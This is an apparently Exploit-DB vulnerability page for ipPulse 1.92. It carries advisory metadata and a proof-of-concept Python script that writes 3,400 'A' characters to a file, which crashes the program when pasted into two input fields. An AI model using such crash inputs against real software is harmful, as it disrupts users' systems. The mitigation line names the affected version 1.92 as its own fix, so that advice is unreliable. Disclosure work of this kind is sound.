ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)

vendor:

ipPulse

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

400

CWE

Product Name: ipPulse

Affected Version From: 1.92

Affected Version To: 1.92

Patch Exists: YES

Related CWE: N/A

CPE: a:netscantools:ippulse:1.92

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2018

ipPulse 1.92 – ‘IP Address/HostName-Comment’ Denial of Service (PoC)

A denial of service vulnerability exists in ipPulse 1.92 when a maliciously crafted input is sent to the 'IP Address/HostName-Comment' field, resulting in a crash. An attacker can leverage this vulnerability to cause a denial of service condition.

Mitigation:

Upgrade to the latest version of ipPulse 1.92 or later.

Source

Exploit-DB raw data:

# Exploit Title: ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-07-27
# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html
# Software Link : http://download.netscantools.com/ipls192.zip
# Tested Version: 1.92
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python ipPulse_1.92.py
# 2.- Open ipPulse_1.92.txt and copy content to clipboard
# 3.- Open ippulse.exe
# 4.- Target Editor
# 5.- Paste ClipBoard on "IP Address/HostName"
# 6.- Paste ClipBoard on "Comment"
# 7.- Add Above Fields to Target List >>
# 8.- OK
# 9.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 3400
f = open ("ipPulse_1.92.txt", "w")
f.write(buffer)
f.close()